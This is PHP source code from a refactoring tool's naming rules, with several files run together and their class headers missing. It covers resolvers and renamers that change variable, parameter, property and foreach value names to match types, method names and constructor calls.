bool { return $returnedType instanceof ArrayType && $expectedName instanceof ExpectedName; } /** * @param \PhpParser\Node\Expr\MethodCall|\PhpParser\Node\Expr\StaticCall|\PhpParser\Node\Expr\FuncCall $expr */ private function isDynamicNameCall($expr) : bool { if ($expr->name instanceof StaticCall) { return \true; } if ($expr->name instanceof MethodCall) { return \true; } return $expr->name instanceof FuncCall; } private function resolveReturnTypeFromArrayType(ArrayType $arrayType) : ?Type { if (!$arrayType->getItemType() instanceof ObjectType) { return null; } return $arrayType->getItemType(); } /** * Skip date time, as custom naming */ private function isDateTimeType(Type $type) : bool { if (!$type instanceof ObjectType) { return \false; } if ($type->isInstanceOf('DateTimeInterface')->yes()) { return \true; } return $type->isInstanceOf('DateTime')->yes(); } } > */ private $overridenExistingVariableNamesByClassMethod = []; public function __construct(ArrayFilter $arrayFilter, BetterNodeFinder $betterNodeFinder, NodeNameResolver $nodeNameResolver) { $this->arrayFilter = $arrayFilter; $this->betterNodeFinder = $betterNodeFinder; $this->nodeNameResolver = $nodeNameResolver; } /** * @param \PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Stmt\Function_|\PhpParser\Node\Expr\Closure $functionLike */ public function hasNameInClassMethodForNew(string $variableName, $functionLike) : bool { $overridenVariableNames = $this->resolveOveriddenNamesForNew($functionLike); return \in_array($variableName, $overridenVariableNames, \true); } /** * @param \PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Stmt\Function_|\PhpParser\Node\Expr\Closure|\PhpParser\Node\Expr\ArrowFunction $classMethod */ public function hasNameInFunctionLikeForParam(string $expectedName, $classMethod) : bool { /** @var Assign[] $assigns */ $assigns = $this->betterNodeFinder->findInstanceOf((array) $classMethod->getStmts(), Assign::class); $usedVariableNames = []; foreach ($assigns as $assign) { if (!$assign->var instanceof Variable) { continue; } $variableName = $this->nodeNameResolver->getName($assign->var); if ($variableName === null) { continue; } $usedVariableNames[] = $variableName; } return \in_array($expectedName, $usedVariableNames, \true); } /** * @return string[] * @param \PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Stmt\Function_|\PhpParser\Node\Expr\Closure $functionLike */ private function resolveOveriddenNamesForNew($functionLike) : array { $classMethodId = \spl_object_id($functionLike); if (isset($this->overridenExistingVariableNamesByClassMethod[$classMethodId])) { return $this->overridenExistingVariableNamesByClassMethod[$classMethodId]; } $currentlyUsedNames = []; /** @var Assign[] $assigns */ $assigns = $this->betterNodeFinder->findInstanceOf((array) $functionLike->stmts, Assign::class); foreach ($assigns as $assign) { /** @var Variable $assignVariable */ $assignVariable = $assign->var; $currentVariableName = $this->nodeNameResolver->getName($assignVariable); if ($currentVariableName === null) { continue; } $currentlyUsedNames[] = $currentVariableName; } $currentlyUsedNames = \array_values($currentlyUsedNames); $currentlyUsedNames = $this->arrayFilter->filterWithAtLeastTwoOccurences($currentlyUsedNames); $this->overridenExistingVariableNamesByClassMethod[$classMethodId] = $currentlyUsedNames; return $currentlyUsedNames; } } */ private const CONTEXT_AWARE_NAMES_BY_TYPE = ['Twig\\Environment' => 'twigEnvironment']; /** * @var string */ private const INTERFACE = 'Interface'; /** * @var string * @see https://regex101.com/r/U78rUF/1 */ private const I_PREFIX_REGEX = '#^I[A-Z]#'; /** * @see https://regex101.com/r/hnU5pm/2/ * @var string */ private const GET_PREFIX_REGEX = '#^get(?[A-Z].+)#'; public function __construct(RectorNamingInflector $rectorNamingInflector, NodeTypeResolver $nodeTypeResolver) { $this->rectorNamingInflector = $rectorNamingInflector; $this->nodeTypeResolver = $nodeTypeResolver; } public function getExpectedNameFromMethodName(string $methodName) : ?ExpectedName { $matches = Strings::match($methodName, self::GET_PREFIX_REGEX); if ($matches === null) { return null; } $originalName = \lcfirst((string) $matches['root_name']); return new ExpectedName($originalName, $this->rectorNamingInflector->singularize($originalName)); } public function getExpectedNameFromType(Type $type) : ?ExpectedName { // keep collections untouched if ($type instanceof ObjectType) { if ($type->isInstanceOf('Doctrine\\Common\\Collections\\Collection')->yes()) { return null; } if ($type->isInstanceOf('Illuminate\\Support\\Collection')->yes()) { return null; } } $className = $this->resolveClassNameFromType($type); if (!\is_string($className)) { return null; } foreach (self::EXCLUDED_CLASSES as $excludedClass) { if (StringUtils::isMatch($className, $excludedClass)) { return null; } } // special cases to keep context foreach (self::CONTEXT_AWARE_NAMES_BY_TYPE as $specialType => $contextAwareName) { if ($className === $specialType) { return new ExpectedName($contextAwareName, $contextAwareName); } } $shortClassName = $this->resolveShortClassName($className); $shortClassName = $this->normalizeShortClassName($shortClassName); // prolong too short generic names with one namespace up $originalName = $this->prolongIfTooShort($shortClassName, $className); return new ExpectedName($originalName, $this->rectorNamingInflector->singularize($originalName)); } /** * @param \PHPStan\Type\ThisType|\PHPStan\Type\ObjectType|string $objectType */ public function fqnToVariableName($objectType) : string { if ($objectType instanceof ThisType) { $objectType = $objectType->getStaticObjectType(); } $className = $this->resolveClassName($objectType); $shortClassName = \strpos($className, '\\') !== \false ? (string) Strings::after($className, '\\', -1) : $className; $variableName = $this->removeInterfaceSuffixPrefix($shortClassName, 'interface'); $variableName = $this->removeInterfaceSuffixPrefix($variableName, 'abstract'); $variableName = $this->fqnToShortName($variableName); $variableName = \str_replace('_', '', $variableName); // prolong too short generic names with one namespace up return $this->prolongIfTooShort($variableName, $className); } private function resolveShortClassName(string $className) : string { if (\strpos($className, '\\') !== \false) { return (string) Strings::after($className, '\\', -1); } return $className; } private function removePrefixesAndSuffixes(string $shortClassName) : string { // is SomeInterface if (\substr_compare($shortClassName, self::INTERFACE, -\strlen(self::INTERFACE)) === 0) { $shortClassName = Strings::substring($shortClassName, 0, -\strlen(self::INTERFACE)); } // is ISomeClass if ($this->isPrefixedInterface($shortClassName)) { $shortClassName = Strings::substring($shortClassName, 1); } // is AbstractClass if (\strncmp($shortClassName, 'Abstract', \strlen('Abstract')) === 0) { return Strings::substring($shortClassName, \strlen('Abstract')); } return $shortClassName; } private function normalizeUpperCase(string $shortClassName) : string { // turns $SOMEUppercase => $someUppercase for ($i = 0; $i <= \strlen($shortClassName); ++$i) { if (\ctype_upper($shortClassName[$i]) && $this->isNumberOrUpper($shortClassName[$i + 1])) { $shortClassName[$i] = \strtolower($shortClassName[$i]); } else { break; } } return $shortClassName; } private function prolongIfTooShort(string $shortClassName, string $className) : string { if (\in_array($shortClassName, ['Factory', 'Repository'], \true)) { $namespaceAbove = (string) Strings::after($className, '\\', -2); $namespaceAbove = (string) Strings::before($namespaceAbove, '\\'); return \lcfirst($namespaceAbove) . $shortClassName; } return \lcfirst($shortClassName); } /** * @param \PHPStan\Type\ObjectType|string $objectType */ private function resolveClassName($objectType) : string { if ($objectType instanceof ObjectType) { return $objectType->getClassName(); } return $objectType; } private function fqnToShortName(string $fqn) : string { if (\strpos($fqn, '\\') === \false) { return $fqn; } $lastNamePart = Strings::after($fqn, '\\', -1); if (!\is_string($lastNamePart)) { throw new ShouldNotHappenException(); } if (\substr_compare($lastNamePart, self::INTERFACE, -\strlen(self::INTERFACE)) === 0) { return Strings::substring($lastNamePart, 0, -\strlen(self::INTERFACE)); } return $lastNamePart; } private function removeInterfaceSuffixPrefix(string $className, string $category) : string { // suffix $iSuffixMatch = Strings::match($className, '#' . $category . '$#i'); if ($iSuffixMatch !== null) { return Strings::substring($className, 0, -\strlen($category)); } // prefix $iPrefixMatch = Strings::match($className, '#^' . $category . '#i'); if ($iPrefixMatch !== null) { return Strings::substring($className, \strlen($category)); } // starts with "I\W+"? if (StringUtils::isMatch($className, self::I_PREFIX_REGEX)) { return Strings::substring($className, 1); } return $className; } private function isPrefixedInterface(string $shortClassName) : bool { if (\strlen($shortClassName) <= 3) { return \false; } if (\strncmp($shortClassName, 'I', \strlen('I')) !== 0) { return \false; } if (!\ctype_upper($shortClassName[1])) { return \false; } return \ctype_lower($shortClassName[2]); } private function isNumberOrUpper(string $char) : bool { if (\ctype_upper($char)) { return \true; } return \ctype_digit($char); } private function normalizeShortClassName(string $shortClassName) : string { $shortClassName = $this->removePrefixesAndSuffixes($shortClassName); // if all is upper-cased, it should be lower-cased if ($shortClassName === \strtoupper($shortClassName)) { $shortClassName = \strtolower($shortClassName); } // remove "_" $shortClassName = Strings::replace($shortClassName, '#_#'); return $this->normalizeUpperCase($shortClassName); } private function resolveClassNameFromType(Type $type) : ?string { $type = TypeCombinator::removeNull($type); if (!$type instanceof TypeWithClassName) { return null; } if ($type instanceof SelfObjectType) { return null; } if ($type instanceof StaticType) { return null; } // generic types are usually mix of parent type and specific type - various way to handle it if ($type instanceof GenericObjectType) { return null; } return $type instanceof AliasedObjectType ? $type->getClassName() : $this->nodeTypeResolver->getFullyQualifiedClassName($type); } } currentFileProvider = $currentFileProvider; } /** * @return array */ public function resolve() : array { $namespace = $this->resolveNamespace(); if (!$namespace instanceof Node) { return []; } return \array_filter($namespace->stmts, static function (Stmt $stmt) : bool { return $stmt instanceof Use_ || $stmt instanceof GroupUse; }); } /** * @api * @return Use_[] */ public function resolveBareUses() : array { $namespace = $this->resolveNamespace(); if (!$namespace instanceof Node) { return []; } return \array_filter($namespace->stmts, static function (Stmt $stmt) : bool { return $stmt instanceof Use_; }); } /** * @param \PhpParser\Node\Stmt\Use_|\PhpParser\Node\Stmt\GroupUse $use */ public function resolvePrefix($use) : string { return $use instanceof GroupUse ? $use->prefix . '\\' : ''; } /** * @return \PhpParser\Node\Stmt\Namespace_|\Rector\PhpParser\Node\CustomNode\FileWithoutNamespace|null */ private function resolveNamespace() { /** @var File|null $file */ $file = $this->currentFileProvider->getFile(); if (!$file instanceof File) { return null; } $newStmts = $file->getNewStmts(); if ($newStmts === []) { return null; } /** @var Namespace_[]|FileWithoutNamespace[] $namespaces */ $namespaces = \array_filter($newStmts, static function (Stmt $stmt) : bool { return $stmt instanceof Namespace_ || $stmt instanceof FileWithoutNamespace; }); // multiple namespaces is not supported if (\count($namespaces) !== 1) { return null; } return \current($namespaces); } } nodeNameResolver = $nodeNameResolver; $this->nodeTypeResolver = $nodeTypeResolver; $this->assignVariableNameResolvers = [$propertyFetchAssignVariableNameResolver, $newAssignVariableNameResolver]; } /** * @api used in downgrade */ public function createCountedValueName(string $valueName, ?Scope $scope) : string { if (!$scope instanceof Scope) { return $valueName; } // make sure variable name is unique if (!$scope->hasVariableType($valueName)->yes()) { return $valueName; } // we need to add number suffix until the variable is unique $i = 2; $countedValueNamePart = $valueName; while ($scope->hasVariableType($valueName)->yes()) { $valueName = $countedValueNamePart . $i; ++$i; } return $valueName; } private function resolveFromNodeAndType(Node $node, Type $type) : ?string { $variableName = $this->resolveBareFromNode($node); if ($variableName === null) { return null; } // adjust static to specific class if ($variableName === 'this' && $type instanceof ThisType) { $shortClassName = $this->nodeNameResolver->getShortName($type->getClassName()); return \lcfirst($shortClassName); } return $this->nodeNameResolver->getShortName($variableName); } private function resolveFromNode(Node $node) : ?string { $nodeType = $this->nodeTypeResolver->getType($node); return $this->resolveFromNodeAndType($node, $nodeType); } private function resolveBareFromNode(Node $node) : ?string { $unwrappedNode = $this->unwrapNode($node); if (!$unwrappedNode instanceof Node) { return null; } foreach ($this->assignVariableNameResolvers as $assignVariableNameResolver) { if ($assignVariableNameResolver->match($unwrappedNode)) { return $assignVariableNameResolver->resolve($unwrappedNode); } } if ($unwrappedNode instanceof MethodCall || $unwrappedNode instanceof NullsafeMethodCall || $unwrappedNode instanceof StaticCall) { return $this->resolveFromMethodCall($unwrappedNode); } if ($unwrappedNode instanceof FuncCall) { return $this->resolveFromNode($unwrappedNode->name); } $paramName = $this->nodeNameResolver->getName($unwrappedNode); if ($paramName !== null) { return $paramName; } if ($unwrappedNode instanceof String_) { return $unwrappedNode->value; } return null; } /** * @param \PhpParser\Node\Expr\MethodCall|\PhpParser\Node\Expr\NullsafeMethodCall|\PhpParser\Node\Expr\StaticCall $node */ private function resolveFromMethodCall($node) : ?string { if ($node->name instanceof MethodCall) { return $this->resolveFromMethodCall($node->name); } $methodName = $this->nodeNameResolver->getName($node->name); if (!\is_string($methodName)) { return null; } return $methodName; } private function unwrapNode(Node $node) : ?Node { if ($node instanceof Arg) { return $node->value; } if ($node instanceof Cast) { return $node->expr; } if ($node instanceof Ternary) { return $node->if; } return $node; } } nodeNameResolver = $nodeNameResolver; } /** * Matches cases: * * $someNameSuffix = $this->getSomeName(); * $prefixSomeName = $this->getSomeName(); * $someName = $this->getSomeName(); * @param \PhpParser\Node\Expr\FuncCall|\PhpParser\Node\Expr\StaticCall|\PhpParser\Node\Expr\MethodCall $expr */ public function isCallMatchingVariableName($expr, string $currentName, string $expectedName) : bool { // skip "$call = $method->call();" based conventions $callName = $this->nodeNameResolver->getName($expr->name); if ($currentName === $callName) { return \true; } // starts with or ends with return StringUtils::isMatch($currentName, '#^(' . $expectedName . '|' . $expectedName . '$)#i'); } } variableRenamer = $variableRenamer; $this->docBlockUpdater = $docBlockUpdater; $this->phpDocInfoFactory = $phpDocInfoFactory; } public function rename(ParamRename $paramRename) : void { // 1. rename param $paramRename->getVariable()->name = $paramRename->getExpectedName(); // 2. rename param in the rest of the method $this->variableRenamer->renameVariableInFunctionLike($paramRename->getFunctionLike(), $paramRename->getCurrentName(), $paramRename->getExpectedName(), null); // 3. rename @param variable in docblock too $this->renameParameterNameInDocBlock($paramRename); } private function renameParameterNameInDocBlock(ParamRename $paramRename) : void { $functionLike = $paramRename->getFunctionLike(); $phpDocInfo = $this->phpDocInfoFactory->createFromNode($functionLike); if (!$phpDocInfo instanceof PhpDocInfo) { return; } $paramTagValueNode = $phpDocInfo->getParamTagValueByName($paramRename->getCurrentName()); if (!$paramTagValueNode instanceof ParamTagValueNode) { return; } $paramTagValueNode->parameterName = '$' . $paramRename->getExpectedName(); $paramTagValueNode->setAttribute(PhpDocAttributeKey::ORIG_NODE, null); $this->docBlockUpdater->updateRefactoredNodeWithPhpDocInfo($functionLike); } } $valueToCount */ $valueToCount = \array_count_values($values); $duplicatedValues = []; foreach ($valueToCount as $value => $count) { /** @var int $count */ if ($count < 2) { continue; } $duplicatedValues[] = $value; } return $duplicatedValues; } } getVarTagValueNode(); if (!$varTagValueNode instanceof VarTagValueNode) { return; } if ($varTagValueNode->variableName !== '$' . $originalName) { return; } $varTagValueNode->variableName = '$' . $expectedName; // invoke node reprint - same as in php-parser $varTagValueNode->setAttribute(PhpDocAttributeKey::ORIG_NODE, null); } } matchPropertyTypeConflictingNameGuard = $matchPropertyTypeConflictingNameGuard; $this->propertyRenameGuard = $propertyRenameGuard; $this->propertyFetchRenamer = $propertyFetchRenamer; } public function rename(PropertyRename $propertyRename) : ?Property { if ($this->matchPropertyTypeConflictingNameGuard->isConflicting($propertyRename)) { return null; } if ($propertyRename->isAlreadyExpectedName()) { return null; } if ($this->propertyRenameGuard->shouldSkip($propertyRename)) { return null; } $onlyPropertyProperty = $propertyRename->getPropertyProperty(); $onlyPropertyProperty->name = new VarLikeIdentifier($propertyRename->getExpectedName()); $this->renamePropertyFetchesInClass($propertyRename); return $propertyRename->getProperty(); } private function renamePropertyFetchesInClass(PropertyRename $propertyRename) : void { $this->propertyFetchRenamer->renamePropertyFetchesInClass($propertyRename->getClassLike(), $propertyRename->getCurrentName(), $propertyRename->getExpectedName()); } } simpleCallableNodeTraverser = $simpleCallableNodeTraverser; $this->propertyFetchAnalyzer = $propertyFetchAnalyzer; } public function renamePropertyFetchesInClass(ClassLike $classLike, string $currentName, string $expectedName) : void { // 1. replace property fetch rename in whole class $this->simpleCallableNodeTraverser->traverseNodesWithCallable($classLike, function (Node $node) use($currentName, $expectedName) : ?Node { if (!$this->propertyFetchAnalyzer->isLocalPropertyFetchName($node, $currentName)) { return null; } /** @var StaticPropertyFetch|PropertyFetch $node */ $node->name = $node instanceof PropertyFetch ? new Identifier($expectedName) : new VarLikeIdentifier($expectedName); return $node; }); } } phpVersionProvider = $phpVersionProvider; $this->matchParamTypeExpectedNameResolver = $matchParamTypeExpectedNameResolver; $this->paramRenameFactory = $paramRenameFactory; $this->phpDocInfoFactory = $phpDocInfoFactory; $this->paramRenamer = $paramRenamer; $this->propertyFetchRenamer = $propertyFetchRenamer; $this->nodeNameResolver = $nodeNameResolver; $this->variableRenamer = $variableRenamer; $this->docBlockUpdater = $docBlockUpdater; } /** * @param \PhpParser\Node\Stmt\Class_|\PhpParser\Node\Stmt\Interface_ $classLike */ public function renamePropertyPromotion($classLike) : bool { $hasChanged = \false; if (!$this->phpVersionProvider->isAtLeastPhpVersion(PhpVersionFeature::PROPERTY_PROMOTION)) { return \false; } $constructClassMethod = $classLike->getMethod(MethodName::CONSTRUCT); if (!$constructClassMethod instanceof ClassMethod) { return \false; } // resolve possible and existing param names $blockingParamNames = $this->resolveBlockingParamNames($constructClassMethod); foreach ($constructClassMethod->params as $param) { if ($param->flags === 0) { continue; } // promoted property $desiredPropertyName = $this->matchParamTypeExpectedNameResolver->resolve($param); if ($desiredPropertyName === null) { continue; } if (\in_array($desiredPropertyName, $blockingParamNames, \true)) { continue; } $currentParamName = $this->nodeNameResolver->getName($param); if ($this->isNameSuffixed($currentParamName, $desiredPropertyName)) { continue; } $this->renameParamVarNameAndVariableUsage($classLike, $constructClassMethod, $desiredPropertyName, $param); $hasChanged = \true; } return $hasChanged; } public function renameParamDoc(PhpDocInfo $phpDocInfo, ClassMethod $classMethod, Param $param, string $paramVarName, string $desiredPropertyName) : void { $paramTagValueNode = $phpDocInfo->getParamTagValueByName($paramVarName); if (!$paramTagValueNode instanceof ParamTagValueNode) { return; } $paramRename = $this->paramRenameFactory->createFromResolvedExpectedName($classMethod, $param, $desiredPropertyName); if (!$paramRename instanceof ParamRename) { return; } $this->paramRenamer->rename($paramRename); $this->docBlockUpdater->updateRefactoredNodeWithPhpDocInfo($classMethod); } private function renameParamVarNameAndVariableUsage(ClassLike $classLike, ClassMethod $classMethod, string $desiredPropertyName, Param $param) : void { if ($param->var instanceof Error) { return; } $classMethodPhpDocInfo = $this->phpDocInfoFactory->createFromNodeOrEmpty($classMethod); $currentParamName = $this->nodeNameResolver->getName($param); $this->propertyFetchRenamer->renamePropertyFetchesInClass($classLike, $currentParamName, $desiredPropertyName); /** @var string $paramVarName */ $paramVarName = $param->var->name; $this->renameParamDoc($classMethodPhpDocInfo, $classMethod, $param, $paramVarName, $desiredPropertyName); $param->var = new Variable($desiredPropertyName); $this->variableRenamer->renameVariableInFunctionLike($classMethod, $paramVarName, $desiredPropertyName); } /** * Sometimes the bare type is not enough. * This allows prefixing type in variable names, e.g. "Type $firstType" */ private function isNameSuffixed(string $currentParamName, string $desiredPropertyName) : bool { $currentNameLowercased = \strtolower($currentParamName); $expectedNameLowercased = \strtolower($desiredPropertyName); return \substr_compare($currentNameLowercased, $expectedNameLowercased, -\strlen($expectedNameLowercased)) === 0; } /** * @return int[]|string[] */ private function resolveBlockingParamNames(ClassMethod $classMethod) : array { $futureParamNames = []; foreach ($classMethod->params as $param) { $futureParamName = $this->matchParamTypeExpectedNameResolver->resolve($param); if ($futureParamName === null) { continue; } $futureParamNames[] = $futureParamName; } // remove null values $futureParamNames = \array_filter($futureParamNames); if ($futureParamNames === []) { return []; } // resolve duplicated names $blockingParamNames = []; $valuesToCount = \array_count_values($futureParamNames); foreach ($valuesToCount as $value => $count) { if ($count < 2) { continue; } $blockingParamNames[] = $value; } return $blockingParamNames; } } breakingVariableRenameGuard = $breakingVariableRenameGuard; $this->expectedNameResolver = $expectedNameResolver; $this->namingConventionAnalyzer = $namingConventionAnalyzer; $this->varTagValueNodeRenamer = $varTagValueNodeRenamer; $this->variableAndCallAssignMatcher = $variableAndCallAssignMatcher; $this->variableRenamer = $variableRenamer; $this->docBlockUpdater = $docBlockUpdater; $this->phpDocInfoFactory = $phpDocInfoFactory; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Rename variable to match method return type', [new CodeSample(<<<'CODE_SAMPLE' class SomeClass { public function run() { $a = $this->getRunner(); } public function getRunner(): Runner { return new Runner(); } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { public function run() { $runner = $this->getRunner(); } public function getRunner(): Runner { return new Runner(); } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [ClassMethod::class, Closure::class, Function_::class]; } /** * @param ClassMethod|Closure|Function_ $node */ public function refactor(Node $node) : ?Node { if ($node->stmts === null) { return null; } $hasChanged = \false; foreach ($node->stmts as $stmt) { if (!$stmt instanceof Expression) { continue; } if (!$stmt->expr instanceof Assign) { continue; } $assign = $stmt->expr; $variableAndCallAssign = $this->variableAndCallAssignMatcher->match($assign, $node); if (!$variableAndCallAssign instanceof VariableAndCallAssign) { continue; } $call = $variableAndCallAssign->getCall(); $expectedName = $this->expectedNameResolver->resolveForCall($call); if ($expectedName === null) { continue; } if ($this->isName($assign->var, $expectedName)) { continue; } if ($this->shouldSkip($variableAndCallAssign, $expectedName)) { continue; } $this->renameVariable($variableAndCallAssign, $expectedName, $stmt); $hasChanged = \true; } if ($hasChanged) { return $node; } return null; } private function shouldSkip(VariableAndCallAssign $variableAndCallAssign, string $expectedName) : bool { if (Strings::match($expectedName, self::VALID_VARIABLE_NAME_REGEX) === null) { return \true; } if ($this->namingConventionAnalyzer->isCallMatchingVariableName($variableAndCallAssign->getCall(), $variableAndCallAssign->getVariableName(), $expectedName)) { return \true; } $isUnionName = Strings::match($variableAndCallAssign->getVariableName(), self::OR_BETWEEN_WORDS_REGEX); if ($isUnionName !== null) { return \true; } return $this->breakingVariableRenameGuard->shouldSkipVariable($variableAndCallAssign->getVariableName(), $expectedName, $variableAndCallAssign->getFunctionLike(), $variableAndCallAssign->getVariable()); } private function renameVariable(VariableAndCallAssign $variableAndCallAssign, string $expectedName, Expression $expression) : void { $this->variableRenamer->renameVariableInFunctionLike($variableAndCallAssign->getFunctionLike(), $variableAndCallAssign->getVariableName(), $expectedName, $variableAndCallAssign->getAssign()); $assignPhpDocInfo = $this->phpDocInfoFactory->createFromNode($expression); if (!$assignPhpDocInfo instanceof PhpDocInfo) { return; } $this->varTagValueNodeRenamer->renameAssignVarTagVariableName($assignPhpDocInfo, $variableAndCallAssign->getVariableName(), $expectedName); $this->docBlockUpdater->updateRefactoredNodeWithPhpDocInfo($expression); } } breakingVariableRenameGuard = $breakingVariableRenameGuard; $this->expectedNameResolver = $expectedNameResolver; $this->matchParamTypeExpectedNameResolver = $matchParamTypeExpectedNameResolver; $this->paramRenameFactory = $paramRenameFactory; $this->paramRenamer = $paramRenamer; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Rename param to match ClassType', [new CodeSample(<<<'CODE_SAMPLE' final class SomeClass { public function run(Apple $pie) { $food = $pie; } } CODE_SAMPLE , <<<'CODE_SAMPLE' final class SomeClass { public function run(Apple $apple) { $food = $apple; } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [ClassMethod::class, Function_::class, Closure::class, ArrowFunction::class]; } /** * @param ClassMethod|Function_|Closure|ArrowFunction $node */ public function refactor(Node $node) : ?Node { $this->hasChanged = \false; foreach ($node->params as $param) { $expectedName = $this->expectedNameResolver->resolveForParamIfNotYet($param); if ($expectedName === null) { continue; } if ($this->shouldSkipParam($param, $expectedName, $node)) { continue; } $expectedName = $this->matchParamTypeExpectedNameResolver->resolve($param); if ($expectedName === null) { continue; } $paramRename = $this->paramRenameFactory->createFromResolvedExpectedName($node, $param, $expectedName); if (!$paramRename instanceof ParamRename) { continue; } $this->paramRenamer->rename($paramRename); $this->hasChanged = \true; } if (!$this->hasChanged) { return null; } return $node; } /** * @param \PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Stmt\Function_|\PhpParser\Node\Expr\Closure|\PhpParser\Node\Expr\ArrowFunction $classMethod */ private function shouldSkipParam(Param $param, string $expectedName, $classMethod) : bool { /** @var string $paramName */ $paramName = $this->getName($param); if ($this->breakingVariableRenameGuard->shouldSkipParam($paramName, $expectedName, $classMethod, $param)) { return \true; } if (!$classMethod instanceof ClassMethod) { return \false; } // promoted property if (!$this->isName($classMethod, MethodName::CONSTRUCT)) { return \false; } return $param->flags !== 0; } } breakingVariableRenameGuard = $breakingVariableRenameGuard; $this->expectedNameResolver = $expectedNameResolver; $this->variableRenamer = $variableRenamer; $this->betterNodeFinder = $betterNodeFinder; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Rename variable to match new ClassType', [new CodeSample(<<<'CODE_SAMPLE' final class SomeClass { public function run() { $search = new DreamSearch(); $search->advance(); } } CODE_SAMPLE , <<<'CODE_SAMPLE' final class SomeClass { public function run() { $dreamSearch = new DreamSearch(); $dreamSearch->advance(); } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [ClassMethod::class]; } /** * @param ClassMethod $node */ public function refactor(Node $node) : ?Node { $hasChanged = \false; $assignsOfNew = $this->getAssignsOfNew($node); foreach ($assignsOfNew as $assignOfNew) { $expectedName = $this->expectedNameResolver->resolveForAssignNew($assignOfNew); // skip self name as not useful if ($expectedName === 'self') { continue; } /** @var Variable $variable */ $variable = $assignOfNew->var; if ($expectedName === null) { continue; } if ($this->isName($variable, $expectedName)) { continue; } $currentName = $this->getName($variable); if ($currentName === null) { continue; } if ($this->breakingVariableRenameGuard->shouldSkipVariable($currentName, $expectedName, $node, $variable)) { continue; } $hasChanged = \true; // 1. rename assigned variable $assignOfNew->var = new Variable($expectedName); // 2. rename variable in the $this->variableRenamer->renameVariableInFunctionLike($node, $currentName, $expectedName, $assignOfNew); } if (!$hasChanged) { return null; } return $node; } /** * @return Assign[] */ private function getAssignsOfNew(ClassMethod $classMethod) : array { /** @var Assign[] $assigns */ $assigns = $this->betterNodeFinder->findInstanceOf((array) $classMethod->stmts, Assign::class); return \array_filter($assigns, static function (Assign $assign) : bool { return $assign->expr instanceof New_; }); } } matchTypePropertyRenamer = $matchTypePropertyRenamer; $this->propertyRenameFactory = $propertyRenameFactory; $this->matchPropertyTypeExpectedNameResolver = $matchPropertyTypeExpectedNameResolver; $this->propertyPromotionRenamer = $propertyPromotionRenamer; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Rename property and method param to match its type', [new CodeSample(<<<'CODE_SAMPLE' class SomeClass { /** * @var EntityManager */ private $eventManager; public function __construct(EntityManager $eventManager) { $this->eventManager = $eventManager; } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { /** * @var EntityManager */ private $entityManager; public function __construct(EntityManager $entityManager) { $this->entityManager = $entityManager; } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [Class_::class, Interface_::class]; } /** * @param Class_|Interface_ $node */ public function refactor(Node $node) : ?Node { $this->hasChanged = \false; $this->refactorClassProperties($node); $hasPromotedPropertyChanged = $this->propertyPromotionRenamer->renamePropertyPromotion($node); if ($this->hasChanged) { return $node; } if ($hasPromotedPropertyChanged) { return $node; } return null; } private function refactorClassProperties(ClassLike $classLike) : void { foreach ($classLike->getProperties() as $property) { $expectedPropertyName = $this->matchPropertyTypeExpectedNameResolver->resolve($property, $classLike); if ($expectedPropertyName === null) { continue; } $propertyRename = $this->propertyRenameFactory->createFromExpectedName($classLike, $property, $expectedPropertyName); if (!$propertyRename instanceof PropertyRename) { continue; } $renameProperty = $this->matchTypePropertyRenamer->rename($propertyRename); if (!$renameProperty instanceof Property) { continue; } $this->hasChanged = \true; } } } inflectorSingularResolver = $inflectorSingularResolver; $this->propertyFetchAnalyzer = $propertyFetchAnalyzer; $this->stmtsManipulator = $stmtsManipulator; $this->betterNodeFinder = $betterNodeFinder; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Renames value variable name in foreach loop to match expression variable', [new CodeSample(<<<'CODE_SAMPLE' class SomeClass { public function run() { $array = []; foreach ($variables as $property) { $array[] = $property; } } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { public function run() { $array = []; foreach ($variables as $variable) { $array[] = $variable; } } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [StmtsAwareInterface::class]; } /** * @param StmtsAwareInterface $node */ public function refactor(Node $node) : ?Node { if ($node->stmts === null) { return null; } $hasChanged = \false; foreach ($node->stmts as $key => $stmt) { if (!$stmt instanceof Foreach_) { continue; } $isPropertyFetch = $this->propertyFetchAnalyzer->isLocalPropertyFetch($stmt->expr); if (!$stmt->expr instanceof Variable && !$isPropertyFetch) { continue; } $exprName = $this->getName($stmt->expr); if ($exprName === null) { continue; } if ($stmt->keyVar instanceof Node) { continue; } $valueVarName = $this->getName($stmt->valueVar); if ($valueVarName === null) { continue; } $singularValueVarName = $this->inflectorSingularResolver->resolve($exprName); if ($singularValueVarName === $exprName) { continue; } if ($singularValueVarName === $valueVarName) { continue; } $alreadyUsedVariable = $this->betterNodeFinder->findVariableOfName($stmt->stmts, $singularValueVarName); if ($alreadyUsedVariable instanceof Variable) { continue; } if ($this->stmtsManipulator->isVariableUsedInNextStmt($node, $key + 1, $singularValueVarName)) { continue; } if ($this->stmtsManipulator->isVariableUsedInNextStmt($node, $key + 1, $valueVarName)) { continue; } $this->processRename($stmt, $valueVarName, $singularValueVarName); $hasChanged = \true; } if ($hasChanged) { return $node; } return null; } private function processRename(Foreach_ $foreach, string $valueVarName, string $singularValueVarName) : void { $foreach->valueVar = new Variable($singularValueVarName); $this->traverseNodesWithCallable($foreach->stmts, function (Node $node) use($singularValueVarName, $valueVarName) : ?Variable { if (!$node instanceof Variable) { return null; } if (!$this->isName($node, $valueVarName)) { return null; } return new Variable($singularValueVarName); }); } } breakingVariableRenameGuard = $breakingVariableRenameGuard; $this->expectedNameResolver = $expectedNameResolver; $this->namingConventionAnalyzer = $namingConventionAnalyzer; $this->variableRenamer = $variableRenamer; $this->foreachMatcher = $foreachMatcher; } public function getRuleDefinition() : RuleDefinition { return new 